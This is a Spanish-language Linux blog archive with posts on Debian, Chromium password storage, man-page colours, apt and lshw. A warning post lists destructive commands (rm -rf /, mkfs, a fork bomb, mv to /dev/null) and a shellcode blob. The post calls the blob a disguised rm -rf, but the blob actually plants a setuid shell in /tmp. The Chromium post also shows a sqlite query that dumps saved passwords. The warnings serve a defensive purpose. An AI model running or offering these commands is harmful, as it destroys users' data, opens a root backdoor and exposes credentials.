Archive for the 'Linux' Category

Debian 7 has a name ‘wheezy’

Wheezy

Wheezy

This day I read, via the Debian Devel announce list, that the next version of Debian already has a name, and will be “wheezy

Debian rocks!! :D

Debian Involvement

I began my journey into the world of Debian approximately 2 years ago ( I’m not very good at remembering dates :( ) from the start one of my main objectives is to collaborate with the project and not simply be a standard user, the best way to do it is to keep packages (starting from the point that my work is to develop applications and edit code is what I do day to day).
But I never decided to take the plunge and adopt a package, until I decided that was the right time, already had some knowledge of Debian packaging, I had read Debian New Maintainers’ Guide and Debian Developer’s Reference. Unfortunately when I decided to do so and already had everything ready to find a mentor, Debian enters the freezing stage, in this state no packets are uploaded to unstable unless they are to fix a RC bug :(

So I have to wait until the release of squeeze and some mentor have mercy of my soul and upload packages for me :D

This is my first step in the process of becoming a Debian Developer, so I hope to share the progress

Cheers!!

Contraseñas almacenadas en Chromium

ChromiumUna característica que usaba en firefox era la de proteger las contraseñas con una «contraseña maestra», cuando se activa esta característica firefox se encarga de encriptar todas las contraseñas almacenadas en el disco, y firefox pregunta por la contraseña maestra cuando necesita acceder a las contraseñas almacenadas. Cuando no se utiliza el navegador las contraseñas están seguras. Aun así hay herramientas para obtener la contraseña maestra de firefox por la «fuerza bruta», pero si tienes una contraseña lo suficientemente robusta no tendrías por que preocuparte :) para mas información (en ingles) mira http://kb.mozillazine.org/Master_password.

A que viene todo esto?, pues desde hace ya varios días decidí cambiar de navegador, por lo que ahora utilizo Chromium, si tu también lo utilizas habrás notado que carece de la característica  que mencionaba anteriormente de firefox, en esencia las contraseñas son almacenadas en  una base de datos de sqlite en ‘~/.config/chromium/Default/Web Data’, mostrar las contraseñas es increíblemente fácil (estoy usando Chromium 5.0.342.9~r43360-0ubuntu2 en Ubuntu 10.04 LTS)

1
 $ echo 'SELECT username_value, password_value FROM logins;' | sqlite3 ~/.config/chromium/Default/Web\ Data | grep -v '^|$'

Como puedes ver las contraseñas son almacenadas en texto plano (aunque el directorio ~/.config/chromium tiene permisos 0700). Desconosco el por que esta funcion no se ha implementado, es un bug? podría ser, pero esta claro que:

  • Google no solucionará este problema en corto plazo.
  • Se necesita una forma de protegerse.
Personalmente recomendaría a los usuarios de chromium encriptar los datos usando eCryptfs o LUKS, en ubuntu puedes:
  • Configurar un cifrado completo del disco con LUKS usando el instalador alternativo.
  • Configurar la carpeta personal encriptada (o migrar una carpeta personal usando ‘ecryptfs-migrate-home’).
  • Configurar una carpeta personal encriptada usando ‘ecryptfs-setup-private’ (si decides hacer esto, querras mover los directorios ~/.config/chromium y ~/.cache/chromium al directorio encriptado y usar enlaces simbólicos para hacer referencia a ellos)
Espero que esta información les resulte útil (o al menos estar un poco mas alerta :P )

Bill Gates se cambió a Ubuntu??

Bill Gates se cambió a Ubuntu

Bill Gates se cambio a Ubuntu??

No cabe duda que de todas las imágenes que circulan por la red para promocionar Linux (o una distro como es este caso), esta me ha parecido de lo mas graciosa :D . Juzguen ustedes.

Saludos!!

Mejorando Man pages

Es muy común cuando nos iniciamos en el maravilloso mundo de GNU/Linux leer mucha documentación especialmente cuando se requiere un amplio dominio de los comandos esenciales, para esto existen las paginas de ayuda (aka man pages), por lo general esta información suele ser muy amplia y a veces resulta muy engorroso leer gran cantidad de paginas de ayuda.

Una manera un poco mas agradable para la lectura es incorporar color, esto se logra con un simple Copy/Paste (Copiar/Pegar) del siguiente código:

1
2
3
4
5
6
7
8
# Less Colors for Man Pages
export LESS_TERMCAP_mb=$'\E[01;31m'       # begin blinking
export LESS_TERMCAP_md=$'\E[01;38;5;74m'  # begin bold
export LESS_TERMCAP_me=$'\E[0m'           # end mode
export LESS_TERMCAP_se=$'\E[0m'           # end standout-mode
export LESS_TERMCAP_so=$'\E[38;5;246m'    # begin standout-mode - info box
export LESS_TERMCAP_ue=$'\E[0m'           # end underline
export LESS_TERMCAP_us=$'\E[04;38;5;146m' # begin underline

Si lo prefieres puedes hacer esta configuración permanente editando tu archivo ~/.bashrc :)

Saludos!!

Limitar el ancho de banda de Apt

Si alguna vez te ha sucedido que procedes a actualizar tu sistema Debian (también aplica para los derivados) y utilizas Apt para hacer el trabajo, habrás notado que por defecto Apt usa todo el ancho de banda disponible, haciendo de la navegación una tarea casi imposible :sad:

Sin embargo existe una forma muy cómoda de limitar el ancho de banda, lo cual se hace de la siguiente manera:

En una consola ingresar los siguientes parámetros al comando Apt.

1
# apt-get -o Acquire::http::Dl-Limit=15 dist-upgrade

o bien

1
# apt-get -o Acquire::http::Dl-Limit=15 update

o

1
# apt-get -o Acquire::http::Dl-Limit=15 install vim

Claro debes cambiar el limite para que se ajuste a tus necesidades en el ejemplo lo he establecido a 15, y eso es todo, podrás actualizar tu sistema y navegar al mismo tiempo :smile: espero que esta información te sea tan útil como lo fue para mi.

Saludos!!

5 comandos de Linux que nunca deberías ejecutar.

Cuando una persona es nueva en el mundo de Linux, es muy probable encontrarse con personas mal intencionadas que intentaran engañarlo a través de foros, chats, etc. para que por medio de comandos usted pueda dañar sus archivos, equipo o peor aun el sistema operativo por completo, para evitar que esta situación peligrosa pueda ocurrir, he aquí una lista de comandos sumamente peligrosos en Linux y que usted debería evitar.

1. rm -rf /
Este comando forzara a borrar recursivamente todos los archivos dentro del directorio raíz.

2. char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Esta es la versión en hexadecimal de [rm-rf /] que pueden engañar incluso a los usuarios más experimentados de Linux.

3. mkfs.ext3 /dev/sda

Esto reformateara todos los archivos del dispositivo que se menciona después del comando mkfs.

4. : (){:|:&};:

Conocido como «forkbom», este comando le dirá a su sistema que ejecute un gran numero de procesos hasta que el sistema se congele, esto a menudo puede conducir a la corrupción de datos.

5. mv /home/yourhomedirectory/* /dev/null

Este comando moverá todos los archivos almacenados dentro de su directorio personal a un lugar que no existe, por lo que nunca volvería a ver sus archivos de nuevo.

Por supuesto hay muchos otros comandos que son peligrosos en Linux que no se mencionan aquí, así que si tienes algo que añadir, por favor, compártelo con nosotros a través de comentarios.

PD: No me hago responsable por pedida de datos al ejecutar algún comando mencionado en este post en un entorno Linux de producción ;) , si realmente quiere probar alguno de estos comandos te recomiendo que lo hagas por medio de una maquina virtual. Están advertidos.

Saludos!!

Comandos Utiles – lshw

Un comando de mucha utilidad si queremos conocer detalles sobre nuestro hardware es lshw, la forma de uso es sencilla :D

lshw [formato] [opciones... ]

donde formato puede ser:

-X Inicia la GUI (si esta disponible)
-html activa el modo HTML
-xml activa el modo XML
-short muestra rutas del hardware
-businfo muestra información del bus

y opciones puede ser:

-enable TEST habilita las pruebas
-disable TEST deshabilita las pruebas
-class CLASS limita la salida a una clase
-C CLASS alias para -class CLASS

un ejemplo sencillo de uso seria ejecutar lo siguiente en una terminal:

lshw -C cpu

Con esto estamos indicando que nos muestre la información de la clase CPU, por lo tanto nos mostrara la información disponible de nuestro procesador, en mi caso devolvió lo siguiente :D

*-cpu
description: CPU
product: Intel(R) Celeron(R) D CPU 3.06GHz
vendor: Intel Corp.
physical id: 4
bus info: cpu@0
version: 15.6.5
serial: 0000-0F65-0000-0000-0000-0000
slot: Socket 775
size: 3066MHz
capacity: 4GHz
width: 64 bits
clock: 133MHz
capabilities: boot fpu fpu_exception wp vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe nx x86-64 constant_tsc up pebs bts pni dtes64 monitor ds_cpl cid cx16 xtpr pdcm lahf_lm
configuration: id=0

Existen mas combinaciones disponibles, para obtener información de diferentes dispositivos de hardware, quieres saber mas?

man lshw
:D además puedes encontrar mas información aquí

Saludos!!

Screenshots de Octubre 09

Dejo algunas capturas de pantalla de mi escritorio correspondiente al mes de octubre :D

Fondo de pantalla Octubre 09 por Williams Orellana

Fondo de pantalla Octubre 09 por Williams Orellana

Fondo de pantalla Octubre 09 por Williams Orellana

Fondo de pantalla Octubre 09 por Williams Orellana

vrms meme

En planet ubuntu vi un meme acerca del uso de paquetes que no son libres, me parecio bueno para medir cuan dependiente somos del software no libre, aquí están mis resultados:


williams@anubis:~$ vrms
Non-free packages installed on anubis

fglrx-modaliases          Identifiers supported by the ATI graphics driver
linux-generic             Complete Generic Linux kernel
linux-restricted-modules- Non-free Linux 2.6.28 modules helper script
linux-restricted-modules- Restricted Linux modules for generic kernels
nvidia-173-modaliases     Modaliases for the NVIDIA binary X.Org driver
nvidia-180-modaliases     Modaliases for the NVIDIA binary X.Org driver
nvidia-71-modaliases      Modaliases for the NVIDIA binary X.Org driver
nvidia-96-modaliases      Modaliases for the NVIDIA binary X.Org driver
tangerine-icon-theme      Tangerine Icon theme

Non-free packages with status other than installed on anubis

nvidia-180-libvdpau       ( dei)  Video Decode and Presentation API for Unix
nvidia-glx-180            ( dei)  NVIDIA binary Xorg driver

Contrib packages installed on anubis

flashplugin-installer     Adobe Flash Player plugin installer
nvidia-common             Find obsolete NVIDIA drivers

Contrib packages with status other than installed on anubis

nvidia-settings           ( dei)  Tool of configuring the NVIDIA graphics driver

11 non-free packages, 0.7% of 1683 installed packages.
3 contrib packages, 0.2% of 1683 installed packages.

Saludos!!




Bad Behavior has blocked 98 access attempts in the last 7 days.


Creative Commons Attribution-ShareAlike
This work from Williams Orellana is released under the license Creative Commons Attribution-ShareAlike 3.0.

:)